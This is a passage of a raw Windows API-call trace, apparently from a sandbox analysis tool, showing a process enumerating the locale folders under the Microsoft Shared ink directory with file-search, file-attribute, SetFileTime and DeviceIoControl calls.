ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e56b8 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e5000 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.140] GetLastError () returned 0x12 [0047.140] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.140] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.140] GetLastError () returned 0x12 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.140] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0047.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.141] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.141] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.141] NtClose (Handle=0x160) returned 0x0 [0047.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.141] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.141] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.141] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e56d8 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e5108 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.142] GetLastError () returned 0x12 [0047.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.142] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.142] GetLastError () returned 0x12 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.142] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.146] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.146] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.146] NtClose (Handle=0x16c) returned 0x0 [0047.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.147] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e56f8 [0047.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e5210 [0047.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.147] GetLastError () returned 0x12 [0047.147] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.147] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.147] GetLastError () returned 0x12 [0047.147] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.147] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0047.148] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0047.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.148] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.148] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.149] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.149] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.149] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5718 [0047.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e5318 [0047.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.149] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.149] GetLastError () returned 0x12 [0047.149] FindFirstFileExW (in: lpFileName="C:\\Program 